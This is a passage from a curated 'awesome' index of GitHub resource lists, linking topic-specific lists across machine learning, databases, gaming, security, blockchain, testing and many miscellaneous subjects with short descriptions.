- [University Courses](https://github.com/prakhar1989/awesome-courses#readme)
- [Data Science](https://github.com/academic/awesome-datascience#readme)
- [Tutorials](https://github.com/siboehm/awesome-learn-datascience#readme)
- [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning#readme)
- [Tutorials](https://github.com/ujjwalkarn/Machine-Learning-Tutorials#readme)
- [ML with Ruby](https://github.com/arbox/machine-learning-with-ruby#readme) - Learning, implementing, and applying Machine Learning using Ruby.
- [Core ML Models](https://github.com/likedan/Awesome-CoreML-Models#readme) - Models for Apple's machine learning framework.
- [H2O](https://github.com/h2oai/awesome-h2o#readme) - Open source distributed machine learning platform written in Java with APIs in R, Python, and Scala.
- [Software Engineering for Machine Learning](https://github.com/SE-ML/awesome-seml#readme) - From experiment to production-level machine learning.
- [AI in Finance](https://github.com/georgezouq/awesome-ai-in-finance#readme) - Solving problems in finance with machine learning.
- [JAX](https://github.com/n2cholas/awesome-jax#readme) - Automatic differentiation and XLA compilation brought together for high-performance machine learning research.
- [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing#readme)
- [Spanish](https://github.com/dav009/awesome-spanish-nlp#readme)
- [NLP with Ruby](https://github.com/arbox/nlp-with-ruby#readme)
- [Question Answering](https://github.com/seriousran/awesome-qa#readme) - The science of asking and answering in natural language with a machine.
- [Natural Language Generation](https://github.com/tokenmill/awesome-nlg#readme) - Generation of text used in data to text, conversational agents, and narrative generation applications.
- [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics#readme)
- [Cryptography](https://github.com/sobolevn/awesome-cryptography#readme)
- [Papers](https://github.com/pFarb/awesome-crypto-papers#readme) - Theory basics for using cryptography by non-cryptographers.
- [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision#readme)
- [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning#readme) - Neural networks.
- [TensorFlow](https://github.com/jtoy/awesome-tensorflow#readme) - Library for machine intelligence.
- [TensorFlow.js](https://github.com/aaronhma/awesome-tensorflow-js#readme) - WebGL-accelerated machine learning JavaScript library for training and deploying models.
- [TensorFlow Lite](https://github.com/margaretmz/awesome-tensorflow-lite#readme) - Framework that optimizes TensorFlow models for on-device machine learning.
- [Papers](https://github.com/terryum/awesome-deep-learning-papers#readme) - The most cited deep learning papers.
- [Education](https://github.com/guillaume-chevalier/awesome-deep-learning-resources#readme)
- [Deep Vision](https://github.com/kjw0612/awesome-deep-vision#readme)
- [Open Source Society University](https://github.com/ossu/computer-science#readme)
- [Functional Programming](https://github.com/lucasviola/awesome-functional-programming#readme)
- [Empirical Software Engineering](https://github.com/dspinellis/awesome-msr#readme) - Evidence-based research on software systems.
- [Static Analysis & Code Quality](https://github.com/analysis-tools-dev/static-analysis#readme)
- [Information Retrieval](https://github.com/harpribot/awesome-information-retrieval#readme) - Learn to develop your own search engine.
- [Quantum Computing](https://github.com/desireevl/awesome-quantum-computing#readme) - Computing which utilizes quantum mechanics and qubits on quantum computers.
## Big Data
- [Big Data](https://github.com/onurakpolat/awesome-bigdata#readme)
- [Public Datasets](https://github.com/awesomedata/awesome-public-datasets#readme)
- [Hadoop](https://github.com/youngwookim/awesome-hadoop#readme) - Framework for distributed storage and processing of very large data sets.
- [Data Engineering](https://github.com/igorbarinov/awesome-data-engineering#readme)
- [Streaming](https://github.com/manuzhang/awesome-streaming#readme)
- [Apache Spark](https://github.com/awesome-spark/awesome-spark#readme) - Unified engine for large-scale data processing.
- [Qlik](https://github.com/ambster-public/awesome-qlik#readme) - Business intelligence platform for data visualization, analytics, and reporting apps.
- [Splunk](https://github.com/sduff/awesome-splunk#readme) - Platform for searching, monitoring, and analyzing structured and unstructured machine-generated big data in real-time.
## Theory
- [Papers We Love](https://github.com/papers-we-love/papers-we-love#readme)
- [Talks](https://github.com/JanVanRyswyck/awesome-talks#readme)
- [Algorithms](https://github.com/tayllan/awesome-algorithms#readme)
- [Education](https://github.com/gaerae/awesome-algorithms-education#readme) - Learning and practicing.
- [Algorithm Visualizations](https://github.com/enjalot/algovis#readme)
- [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence#readme)
- [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization#readme)
- [Competitive Programming](https://github.com/lnishan/awesome-competitive-programming#readme)
- [Math](https://github.com/rossant/awesome-math#readme)
- [Recursion Schemes](https://github.com/passy/awesome-recursion-schemes#readme) - Traversing nested data structures.
## Books
- [Free Programming Books](https://github.com/EbookFoundation/free-programming-books#readme)
- [Go Books](https://github.com/dariubs/GoBooks#readme)
- [R Books](https://github.com/RomanTsegelskyi/rbooks#readme)
- [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books#readme)
- [Book Authoring](https://github.com/TalAter/awesome-book-authoring#readme)
- [Elixir Books](https://github.com/sger/ElixirBooks#readme)
## Editors
- [Sublime Text](https://github.com/dreikanter/sublime-bookmarks#readme)
- [Vim](https://github.com/mhinz/vim-galore#readme)
- [Emacs](https://github.com/emacs-tw/awesome-emacs#readme)
- [Atom](https://github.com/mehcode/awesome-atom#readme) - Open-source and hackable text editor.
- [Visual Studio Code](https://github.com/viatsko/awesome-vscode#readme) - Cross-platform open-source text editor.
## Gaming
- [Game Development](https://github.com/ellisonleao/magictools#readme)
- [Game Talks](https://github.com/hzoo/awesome-gametalks#readme)
- [Godot](https://github.com/Calinou/awesome-godot#readme) - Game engine.
- [Open Source Games](https://github.com/leereilly/games#readme)
- [Unity](https://github.com/RyanNielson/awesome-unity#readme) - Game engine.
- [Chess](https://github.com/hkirat/awesome-chess#readme)
- [LÖVE](https://github.com/love2d-community/awesome-love2d#readme) - Game engine.
- [PICO-8](https://github.com/pico-8/awesome-PICO-8#readme) - Fantasy console.
- [Game Boy Development](https://github.com/gbdev/awesome-gbdev#readme)
- [Construct 2](https://github.com/WebCreationClub/awesome-construct#readme) - Game engine.
- [Gideros](https://github.com/stetso/awesome-gideros#readme) - Game engine.
- [Minecraft](https://github.com/bs-community/awesome-minecraft#readme) - Sandbox video game.
- [Game Datasets](https://github.com/leomaurodesenv/game-datasets#readme) - Materials and datasets for Artificial Intelligence in games.
- [Haxe Game Development](https://github.com/Dvergar/awesome-haxe-gamedev#readme) - A high-level strongly typed programming language used to produce cross-platform native code.
- [libGDX](https://github.com/rafaskb/awesome-libgdx#readme) - Java game framework.
- [PlayCanvas](https://github.com/playcanvas/awesome-playcanvas#readme) - Game engine.
- [Game Remakes](https://github.com/radek-sprta/awesome-game-remakes#readme) - Actively maintained open-source game remakes.
- [Flame](https://github.com/flame-engine/awesome-flame#readme) - Game engine for Flutter.
- [Discord Communities](https://github.com/mhxion/awesome-discord-communities#readme) - Chat with friends and communities.
- [CHIP-8](https://github.com/tobiasvl/awesome-chip-8#readme) - Virtual computer game machine from the 70s.
- [Games of Coding](https://github.com/michelpereira/awesome-games-of-coding#readme) - Learn a programming language by making games.
## Development Environment
- [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins#readme) - For macOS.
- [Dev Env](https://github.com/jondot/awesome-devenv#readme)
- [Dotfiles](https://github.com/webpro/awesome-dotfiles#readme)
- [Shell](https://github.com/alebcay/awesome-shell#readme)
- [Fish](https://github.com/jorgebucaran/awsm.fish#readme) - User-friendly shell.
- [Command-Line Apps](https://github.com/agarrharr/awesome-cli-apps#readme)
- [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins#readme)
- [GitHub](https://github.com/phillipadsmith/awesome-github#readme) - Hosting service for Git repositories.
- [Browser Extensions](https://github.com/stefanbuck/awesome-browser-extensions-for-github#readme)
- [Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet#readme)
- [Pinned Gists](https://github.com/matchai/awesome-pinned-gists#readme) - Dynamic pinned gists for your GitHub profile.
- [Git Cheat Sheet & Git Flow](https://github.com/arslanbilal/git-cheat-sheet#readme)
- [Git Tips](https://github.com/git-tips/tips#readme)
- [Git Add-ons](https://github.com/stevemao/awesome-git-addons#readme) - Enhance the `git` CLI.
- [Git Hooks](https://github.com/compscilauren/awesome-git-hooks#readme) - Scripts for automating tasks during `git` workflows.
- [SSH](https://github.com/moul/awesome-ssh#readme)
- [FOSS for Developers](https://github.com/tvvocold/FOSS-for-Dev#readme)
- [Hyper](https://github.com/bnb/awesome-hyper#readme) - Cross-platform terminal app built on web technologies.
- [PowerShell](https://github.com/janikvonrotz/awesome-powershell#readme) - Cross-platform object-oriented shell.
- [Alfred Workflows](https://github.com/alfred-workflows/awesome-alfred-workflows#readme) - Productivity app for macOS.
- [Terminals Are Sexy](https://github.com/k4m4/terminals-are-sexy#readme)
- [GitHub Actions](https://github.com/sdras/awesome-actions#readme) - Create tasks to automate your workflow and share them with others on GitHub.
## Entertainment
- [Science Fiction](https://github.com/sindresorhus/awesome-scifi#readme) - Scifi.
- [Fantasy](https://github.com/RichardLitt/awesome-fantasy#readme)
- [Podcasts](https://github.com/ayr-ton/awesome-geek-podcasts#readme)
- [Email Newsletters](https://github.com/zudochkin/awesome-newsletters#readme)
- [IT Quotes](https://github.com/victorlaerte/awesome-it-quotes#readme)
## Databases
- [Database](https://github.com/numetriclabz/awesome-db#readme)
- [MySQL](https://github.com/shlomi-noach/awesome-mysql#readme)
- [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy#readme)
- [InfluxDB](https://github.com/mark-rushakoff/awesome-influxdb#readme)
- [Neo4j](https://github.com/neueda/awesome-neo4j#readme)
- [MongoDB](https://github.com/ramnes/awesome-mongodb#readme) - NoSQL database.
- [RethinkDB](https://github.com/d3viant0ne/awesome-rethinkdb#readme)
- [TinkerPop](https://github.com/mohataher/awesome-tinkerpop#readme) - Graph computing framework.
- [PostgreSQL](https://github.com/dhamaniasad/awesome-postgres#readme) - Object-relational database.
- [CouchDB](https://github.com/quangv/awesome-couchdb#readme) - Document-oriented NoSQL database.
- [HBase](https://github.com/rayokota/awesome-hbase#readme) - Distributed, scalable, big data store.
- [NoSQL Guides](https://github.com/erictleung/awesome-nosql-guides#readme) - Help on using non-relational, distributed, open-source, and horizontally scalable databases.
- [Contexture](https://github.com/chrislatorres/awesome-contexture#readme) - Abstracts queries/filters and results/aggregations from different backing data stores like ElasticSearch and MongoDB.
- [Database Tools](https://github.com/mgramin/awesome-db-tools#readme) - Everything that makes working with databases easier.
- [Grakn](https://github.com/graknlabs/awesome#readme) - Logical database to organize large and complex networks of data as one body of knowledge.
## Media
- [Creative Commons Media](https://github.com/shime/creative-commons-media#readme)
- [Fonts](https://github.com/brabadu/awesome-fonts#readme)
- [Codeface](https://github.com/chrissimpkins/codeface#readme) - Text editor fonts.
- [Stock Resources](https://github.com/neutraltone/awesome-stock-resources#readme)
- [GIF](https://github.com/davisonio/awesome-gif#readme) - Image format known for animated images.
- [Music](https://github.com/ciconia/awesome-music#readme)
- [Open Source Documents](https://github.com/44bits/awesome-opensource-documents#readme)
- [Audio Visualization](https://github.com/willianjusten/awesome-audio-visualization#readme)
- [Broadcasting](https://github.com/ebu/awesome-broadcasting#readme)
- [Pixel Art](https://github.com/Siilwyn/awesome-pixel-art#readme) - Pixel-level digital art.
- [FFmpeg](https://github.com/transitive-bullshit/awesome-ffmpeg#readme) - Cross-platform solution to record, convert and stream audio and video.
- [Icons](https://github.com/notlmn/awesome-icons#readme) - Downloadable SVG/PNG/font icon projects.
- [Audiovisual](https://github.com/stingalleman/awesome-audiovisual#readme) - Lighting, audio and video in professional environments.
## Learn
- [CLI Workshoppers](https://github.com/therebelrobot/awesome-workshopper#readme) - Interactive tutorials.
- [Learn to Program](https://github.com/karlhorky/learn-to-program#readme)
- [Speaking](https://github.com/matteofigus/awesome-speaking#readme)
- [Tech Videos](https://github.com/lucasviola/awesome-tech-videos#readme)
- [Dive into Machine Learning](https://github.com/hangtwenty/dive-into-machine-learning#readme)
- [Computer History](https://github.com/watson/awesome-computer-history#readme)
- [Programming for Kids](https://github.com/HollyAdele/awesome-programming-for-kids#readme)
- [Educational Games](https://github.com/yrgo/awesome-educational-games#readme) - Learn while playing.
- [JavaScript Learning](https://github.com/micromata/awesome-javascript-learning#readme)
- [CSS Learning](https://github.com/micromata/awesome-css-learning#readme) - Mainly about CSS – the language and the modules.
- [Product Management](https://github.com/dend/awesome-product-management#readme) - Learn how to be a better product manager.
- [Roadmaps](https://github.com/liuchong/awesome-roadmaps#readme) - Gives you a clear route to improve your knowledge and skills.
- [YouTubers](https://github.com/JoseDeFreitas/awesome-youtubers#readme) - Watch video tutorials from YouTubers that teach you about technology.
## Security
- [Application Security](https://github.com/paragonie/awesome-appsec#readme)
- [Security](https://github.com/sbilly/awesome-security#readme)
- [CTF](https://github.com/apsdehal/awesome-ctf#readme) - Capture The Flag.
- [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis#readme)
- [Android Security](https://github.com/ashishb/android-security-awesome#readme)
- [Hacking](https://github.com/carpedm20/awesome-hacking#readme)
- [Honeypots](https://github.com/paralax/awesome-honeypots#readme) - Deception trap, designed to entice an attacker into attempting to compromise the information systems in an organization.
- [Incident Response](https://github.com/meirwah/awesome-incident-response#readme)
- [Vehicle Security and Car Hacking](https://github.com/jaredthecoder/awesome-vehicle-security#readme)
- [Web Security](https://github.com/qazbnm456/awesome-web-security#readme) - Security of web apps & services.
- [Lockpicking](https://github.com/fabacab/awesome-lockpicking#readme) - The art of unlocking a lock by manipulating its components without the key.
- [Cybersecurity Blue Team](https://github.com/fabacab/awesome-cybersecurity-blueteam#readme) - Groups of individuals who identify security flaws in information technology systems.
- [Fuzzing](https://github.com/cpuu/awesome-fuzzing#readme) - Automated software testing technique that involves feeding pseudo-randomly generated input data.
- [Embedded and IoT Security](https://github.com/fkie-cad/awesome-embedded-and-iot-security#readme)
- [GDPR](https://github.com/bakke92/awesome-gdpr#readme) - Regulation on data protection and privacy for all individuals within EU.
- [DevSecOps](https://github.com/TaptuIT/awesome-devsecops#readme) - Integration of security practices into [DevOps](https://en.wikipedia.org/wiki/DevOps).
## Content Management Systems
- [Umbraco](https://github.com/umbraco-community/awesome-umbraco#readme)
- [Refinery CMS](https://github.com/refinerycms-contrib/awesome-refinerycms#readme) - Ruby on Rails CMS.
- [Wagtail](https://github.com/springload/awesome-wagtail#readme) - Django CMS focused on flexibility and user experience.
- [Textpattern](https://github.com/drmonkeyninja/awesome-textpattern#readme) - Lightweight PHP-based CMS.
- [Drupal](https://github.com/nirgn975/awesome-drupal#readme) - Extensible PHP-based CMS.
- [Craft CMS](https://github.com/craftcms/awesome#readme) - Content-first CMS.
- [Sitecore](https://github.com/MartinMiles/Awesome-Sitecore#readme) - .NET digital marketing platform that combines CMS with tools for managing multiple websites.
- [Silverstripe CMS](https://github.com/wernerkrauss/awesome-silverstripe-cms#readme) - PHP MVC framework that serves as a classic or headless CMS.
## Hardware
- [Robotics](https://github.com/Kiloreux/awesome-robotics#readme)
- [Internet of Things](https://github.com/HQarroum/awesome-iot#readme)
- [Electronics](https://github.com/kitspace/awesome-electronics#readme) - For electronic engineers and hobbyists.
- [Bluetooth Beacons](https://github.com/rabschi/awesome-beacon#readme)
- [Electric Guitar Specifications](https://github.com/gitfrage/guitarspecs#readme) - Checklist for building your own electric guitar.
- [Plotters](https://github.com/beardicus/awesome-plotters#readme) - Computer-controlled drawing machines and other visual art robots.
- [Robotic Tooling](https://github.com/protontypes/awesome-robotic-tooling#readme) - Free and open tools for professional robotic development.
- [LIDAR](https://github.com/szenergy/awesome-lidar#readme) - Sensor for measuring distances by illuminating the target with laser light.
## Business
- [Open Companies](https://github.com/opencompany/awesome-open-company#readme)
- [Places to Post Your Startup](https://github.com/mmccaff/PlacesToPostYourStartup#readme)
- [OKR Methodology](https://github.com/domenicosolazzo/awesome-okr#readme) - Goal setting & communication best practices.
- [Leading and Managing](https://github.com/LappleApple/awesome-leading-and-managing#readme) - Leading people and being a manager in a technology company/environment.
- [Indie](https://github.com/mezod/awesome-indie#readme) - Independent developer businesses.
- [Tools of the Trade](https://github.com/cjbarber/ToolsOfTheTrade#readme) - Tools used by companies on Hacker News.
- [Clean Tech](https://github.com/nglgzz/awesome-clean-tech#readme) - Fighting climate change with technology.
- [Wardley Maps](https://github.com/wardley-maps-community/awesome-wardley-maps#readme) - Provides high situational awareness to help improve strategic planning and decision making.
- [Social Enterprise](https://github.com/RayBB/awesome-social-enterprise#readme) - Building an organization primarily focused on social impact that is at least partially self-funded.
- [Engineering Team Management](https://github.com/kdeldycke/awesome-engineering-team-management#readme) - How to transition from software development to engineering management.
- [Developer-First Products](https://github.com/agamm/awesome-developer-first#readme) - Products that target developers as the user.
## Work
- [Slack](https://github.com/matiassingers/awesome-slack#readme) - Team collaboration.
- [Communities](https://github.com/filipelinhares/awesome-slack#readme)
- [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job#readme)
- [Productivity](https://github.com/jyguyomarch/awesome-productivity#readme)
- [Niche Job Boards](https://github.com/tramcar/awesome-job-boards#readme)
- [Programming Interviews](https://github.com/DopplerHQ/awesome-interview-questions#readme)
- [Code Review](https://github.com/joho/awesome-code-review#readme) - Reviewing code.
- [Creative Technology](https://github.com/j0hnm4r5/awesome-creative-technology#readme) - Businesses & groups that specialize in combining computing, design, art, and user experience.
## Networking
- [Software-Defined Networking](https://github.com/sdnds-tw/awesome-sdn#readme)
- [Network Analysis](https://github.com/briatte/awesome-network-analysis#readme)
- [PCAPTools](https://github.com/caesar0301/awesome-pcaptools#readme)
- [Real-Time Communications](https://github.com/rtckit/awesome-rtc#readme) - Network protocols for near simultaneous exchange of media and data.
## Decentralized Systems
- [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin#readme) - Bitcoin services and tools for software developers.
- [Ripple](https://github.com/vhpoet/awesome-ripple#readme) - Open source distributed settlement network.
- [Non-Financial Blockchain](https://github.com/machinomy/awesome-non-financial-blockchain#readme) - Non-financial blockchain applications.
- [Mastodon](https://github.com/tleb/awesome-mastodon#readme) - Open source decentralized microblogging network.
- [Ethereum](https://github.com/ttumiel/Awesome-Ethereum#readme) - Distributed computing platform for smart contract development.
- [Blockchain AI](https://github.com/steven2358/awesome-blockchain-ai#readme) - Blockchain projects for artificial intelligence and machine learning.
- [EOSIO](https://github.com/DanailMinchev/awesome-eosio#readme) - A decentralized operating system supporting industrial-scale apps.
- [Corda](https://github.com/chainstack/awesome-corda#readme) - Open source blockchain platform designed for business.
- [Waves](https://github.com/msmolyakov/awesome-waves#readme) - Open source blockchain platform and development toolset for Web 3.0 apps and decentralized solutions.
- [Substrate](https://github.com/substrate-developer-hub/awesome-substrate#readme) - Framework for writing scalable, upgradeable blockchains in Rust.
## Higher Education
- [Computational Neuroscience](https://github.com/eselkin/awesome-computational-neuroscience#readme) - A multidisciplinary science which uses computational approaches to study the nervous system.
- [Digital History](https://github.com/maehr/awesome-digital-history#readme) - Computer-aided scientific investigation of history.
- [Scientific Writing](https://github.com/writing-resources/awesome-scientific-writing#readme) - Distraction-free scientific writing with Markdown, reStructuredText and Jupyter notebooks.
## Events
- [Creative Tech Events](https://github.com/danvoyce/awesome-creative-tech-events#readme) - Events around the globe for creative coding, tech, design, music, arts and cool stuff.
- [Events in Italy](https://github.com/ildoc/awesome-italy-events#readme) - Tech-related events in Italy.
- [Events in the Netherlands](https://github.com/awkward/awesome-netherlands-events#readme) - Tech-related events in the Netherlands.
## Testing
- [Testing](https://github.com/TheJambo/awesome-testing#readme) - Software testing.
- [Visual Regression Testing](https://github.com/mojoaxel/awesome-regression-testing#readme) - Ensures changes did not break the functionality or style.
- [Selenium](https://github.com/christian-bromann/awesome-selenium#readme) - Open-source browser automation framework and ecosystem.
- [Appium](https://github.com/SrinivasanTarget/awesome-appium#readme) - Test automation tool for apps.
- [TAP](https://github.com/sindresorhus/awesome-tap#readme) - Test Anything Protocol.
- [JMeter](https://github.com/aliesbelik/awesome-jmeter#readme) - Load testing and performance measurement tool.
- [k6](https://github.com/k6io/awesome-k6#readme) - Open-source, developer-centric performance monitoring and load testing solution.
- [Playwright](https://github.com/mxschmitt/awesome-playwright#readme) - Node.js library to automate Chromium, Firefox and WebKit with a single API.
- [Quality Assurance Roadmap](https://github.com/fityanos/awesome-quality-assurance-roadmap#readme) - How to start & build a career in software testing.
## Miscellaneous
- [JSON](https://github.com/burningtree/awesome-json#readme) - Text based data interchange format.
- [GeoJSON](https://github.com/tmcw/awesome-geojson#readme)
- [Datasets](https://github.com/jdorfman/awesome-json-datasets#readme)
- [CSV](https://github.com/secretGeek/awesomeCSV#readme) - A text file format that stores tabular data and uses a comma to separate values.
- [Discounts for Student Developers](https://github.com/AchoArnold/discount-for-student-dev#readme)
- [Radio](https://github.com/kyleterry/awesome-radio#readme)
- [Awesome](https://github.com/sindresorhus/awesome#readme) - Recursion illustrated.
- [Analytics](https://github.com/onurakpolat/awesome-analytics#readme)
- [REST](https://github.com/marmelab/awesome-rest#readme)
- [Continuous Integration and Continuous Delivery](https://github.com/cicdops/awesome-ciandcd#readme)
- [Services Engineering](https://github.com/mmcgrana/services-engineering#readme)
- [Free for Developers](https://github.com/ripienaar/free-for-dev#readme)
- [Answers](https://github.com/cyberglot/awesome-answers#readme) - Stack Overflow, Quora, etc.
- [Sketch](https://github.com/diessica/awesome-sketch#readme) - Design app for macOS.
- [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates#readme)
- [Readme](https://github.com/matiassingers/awesome-readme#readme)
- [Design and Development Guides](https://github.com/NARKOZ/guides#readme)
- [Software Engineering Blogs](https://github.com/kilimchoi/engineering-blogs#readme)
- [Self Hosted](https://github.com/awesome-selfhosted/awesome-selfhosted#readme)
- [FOSS Production Apps](https://github.com/DataDaoDe/awesome-foss-apps#readme)
- [Gulp](https://github.com/alferov/awesome-gulp#readme) - Task runner.
- [AMA](https://github.com/sindresorhus/amas#readme) - Ask Me Anything.
- [Answers](https://github.com/stoeffel/awesome-ama-answers#readme)
- [Open Source Photography](https://github.com/ibaaj/awesome-OpenSourcePhotography#readme)
- [OpenGL](https://github.com/eug/awesome-opengl#readme) - Cross-platform API for rendering 2D and 3D graphics.
- [GraphQL](https://github.com/chentsulin/awesome-graphql#readme)
- [Transit](https://github.com/CUTR-at-USF/awesome-transit#readme)
- [Research Tools](https://github.com/emptymalei/awesome-research#readme)
- [Data Visualization](https://github.com/fasouto/awesome-dataviz#readme)
- [Social Media Share Links](https://github.com/vinkla/shareable-links#readme)
- [Microservices](https://github.com/mfornos/awesome-microservices#readme)
- [Unicode](https://github.com/jagracey/Awesome-Unicode#readme) - Unicode standards, quirks, packages and resources.
- [Code Points](https://github.com/Codepoints/awesome-codepoints#readme)
- [Beginner-Friendly Projects](https://github.com/MunGell/awesome-for-beginners#readme)
- [Katas](https://github.com/gamontal/awesome-katas#readme)
- [Tools for Activism](https://github.com/drewrwilson/toolsforactivism#readme)
- [Citizen Science](https://github.com/dylanrees/citizen-science#readme) - For community-based and non-institutional scientists.
- [MQTT](https://github.com/hobbyquaker/awesome-mqtt#readme) - "Internet of Things" connectivity protocol.
- [Hacking Spots](https://github.com/daviddias/awesome-hacking-locations#readme)
- [For Girls](https://github.com/cristianoliveira/awesome4girls#readme)
- [Vorpal](https://github.com/vorpaljs/awesome-vorpal#readme) - Node.js CLI framework.
- [Vulkan](https://github.com/vinjn/awesome-vulkan#readme) - Low-overhead, cross-platform 3D graphics and compute API.
- [LaTeX](https://github.com/egeerardyn/awesome-LaTeX#readme) - Typesetting language.
- [Economics](https://github.com/antontarasenko/awesome-economics#readme) - An economist's starter kit.
- [Funny Markov Chains](https://github.com/sublimino/awesome-funny-markov#readme)
- [Bioinformatics](https://github.com/danielecook/Awesome-Bioinformatics#readme)
- [Cheminformatics](https://github.com/hsiaoyi0504/awesome-cheminformatics#readme) - Informatics techniques applied to problems in chemistry.
- [Colorful](https://github.com/Siddharth11/Colorful#readme) - Choose your next color scheme.
- [Steam](https://github.com/scholtzm/awesome-steam#readme) - Digital distribution platform.
- [Bots](https://github.com/hackerkid/bots#readme) - Building bots.
- [Site Reliability Engineering](https://github.com/dastergon/awesome-sre#readme)
- [Empathy in Engineering](https://github.com/KimberlyMunoz/empathy-in-engineering#readme) - Building and promoting more compassionate engineering cultures.
- [DTrace](https://github.com/xen0l/awesome-dtrace#readme) - Dynamic tracing framework.
- [Userscripts](https://github.com/bvolpato/awesome-userscripts#readme) - Enhance your browsing experience.
- [Pokémon](https://github.com/tobiasbueschel/awesome-pokemon#readme) - Pokémon and Pokémon GO.
- [ChatOps](https://github.com/exAspArk/awesome-chatops#readme) - Managing technical and business operations through a chat.
- [Falsehood](https://github.com/kdeldycke/awesome-falsehood#readme) - Falsehoods programmers believe in.
- [Domain-Driven Design](https://github.com/heynickc/awesome-ddd#readme) - Software development approach for complex needs by connecting the implementation to an evolving model.
- [Quantified Self](https://github.com/woop/awesome-quantified-self#readme) - Self-tracking through technology.
- [SaltStack](https://github.com/hbokh/awesome-saltstack#readme) - Python-based config management system.
- [Web Design](https://github.com/nicolesaidy/awesome-web-design#readme) - For digital designers.
- [Creative Coding](https://github.com/terkelg/awesome-creative-coding#readme) - Programming something expressive instead of something functional.
- [No-Login Web Apps](https://github.com/aviaryan/awesome-no-login-web-apps#readme) - Web apps that work without login.
- [Free Software](https://github.com/johnjago/awesome-free-software#readme) - Free as in freedom.
- [Framer](https://github.com/podo/awesome-framer#readme) - Prototyping interactive UI designs.
- [Markdown](https://github.com/BubuAnabelas/awesome-markdown#readme) - Markup language.
- [Dev Fun](https://github.com/mislavcimpersak/awesome-dev-fun#readme) - Funny developer projects.
- [Healthcare](https://github.com/kakoni/awesome-healthcare#readme) - Open source healthcare software for facilities, providers, developers, policy experts, and researchers.
- [Magento 2](https://github.com/DavidLambauer/awesome-magento2#readme) - Open Source eCommerce built with PHP.
- [TikZ](https://github.com/xiaohanyu/awesome-tikz#readme) - Graph drawing packages for TeX/LaTeX/ConTeXt.
- [Neuroscience](https://github.com/analyticalmonk/awesome-neuroscience#readme) - Study of the nervous system and brain.
- [Ad-Free](https://github.com/johnjago/awesome-ad-free#readme) - Ad-free alternatives.
- [Esolangs](https://github.com/angrykoala/awesome-esolangs#readme) - Programming languages designed for experimentation or as jokes rather than actual use.
- [Prometheus](https://github.com/roaldnefs/awesome-prometheus#readme) - Open-source monitoring system.
- [Homematic](https://github.com/homematic-community/awesome-homematic#readme) - Smart home devices.
- [Ledger](https://github.com/sfischer13/awesome-ledger#readme) - Double-entry accounting on the command-line.
- [Web Monetization](https://github.com/thomasbnt/awesome-web-monetization#readme) - A free open web standard service that allows you to send money directly in your browser.
- [Uncopyright](https://github.com/johnjago/awesome-uncopyright#readme) - Public domain works.
- [Crypto Currency Tools & Algorithms](https://github.com/Zheaoli/awesome-coins#readme) - Digital currency where encryption is used to regulate the generation of units and verify transfers.
- [Diversity](https://github.com/folkswhocode/awesome-diversity#readme) - Creating a more inclusive and diverse tech community.
- [Open Source Supporters](https://github.com/zachflower/awesome-open-source-supporters#readme) - Companies that offer their tools and services for free to open source projects.
- [Design Principles](https://github.com/robinstickel/awesome-design-principles#readme) - Create better and more consistent designs and experiences.
- [Theravada](https://github.com/johnjago/awesome-theravada#readme) - Teachings from the Theravada Buddhist tradition.
- [inspectIT](https://github.com/inspectit-labs/awesome-inspectit#readme) - Open source Java app performance management tool.
- [Open Source Maintainers](https://github.com/nayafia/awesome-maintainers#readme) - The experience of being an open source maintainer.
- [Calculators](https://github.com/xxczaki/awesome-calculators#readme) - Calculators for every platform.
- [Captcha](https://github.com/ZYSzys/awesome-captcha#readme) - A type of challenge–response test used in computing to determine whether or not the user is human.
- [Jupyter](https://github.com/markusschanta/awesome-jupyter#readme) - Create and share documents that contain code, equations, visualizations and narrative text.
- [FIRST Robotics Competition](https://github.com/andrewda/awesome-frc#readme) - International high school robotics championship.
- [Humane Technology](https://github.com/humanetech-community/awesome-humane-tech#readme) - Open source projects that help improve society.
- [Speakers](https://github.com/karlhorky/awesome-speakers#readme) - Conference and meetup speakers in the programming and design community.
- [Board Games](https://github.com/edm00se/awesome-board-games#readme) - Table-top gaming fun for all.
- [Software Patreons](https://github.com/uraimo/awesome-software-patreons#readme) - Fund individual programmers or the development of open source projects.
- [Parasite](https://github.com/ecohealthalliance/awesome-parasite#readme) - Parasites and host-pathogen interactions.
- [Food](https://github.com/jzarca01/awesome-food#readme) - Food-related projects on GitHub.
- [Mental Health](https://github.com/dreamingechoes/awesome-mental-health#readme) - Mental health awareness and self-care in the software industry.
- [Bitcoin Payment Processors](https://github.com/alexk111/awesome-bitcoin-payment-processors#readme) - Start accepting Bitcoin.
- [Scientific Computing](https://github.com/nschloe/awesome-scientific-computing#readme) - Solving complex scientific problems using computers.
- [Amazon Sellers](https://github.com/ScaleLeap/awesome-amazon-seller#readme)
- [Agriculture](https://github.com/brycejohnston/awesome-agriculture#readme) - Open source technology for farming and gardening.
- [Product Design](https://github.com/matttga/awesome-product-design#readme) - Design a product from the initial concept to production.
- [Prisma](https://github.com/catalinmiron/awesome-prisma#readme) - Turn your database into a GraphQL API.
- [Software Architecture](https://github.com/simskij/awesome-software-architecture#readme) - The discipline of designing and building software.
- [Connectivity Data and Reports](https://github.com/stevesong/awesome-connectivity-info#readme) - Better understand who has access to telecommunication and internet infrastructure and on what terms.
- [Stacks](https://github.com/stackshareio/awesome-stacks#readme) - Tech stacks for building different apps and features.
- [Cytodata](https://github.com/cytodata/awesome-cytodata#readme) - Image-based profiling of biological phenotypes for computational biologists.
- [IRC](https://github.com/davisonio/awesome-irc#readme) - Open source messaging protocol.
- [Advertising](https://github.com/cenoura/awesome-ads#readme) - Advertising and programmatic media for websites.
- [Earth](https://github.com/philsturgeon/awesome-earth#readme) - Find ways to resolve the climate crisis.
- [Naming](https://github.com/gruhn/awesome-naming#readme) - Naming things in computer science done right.
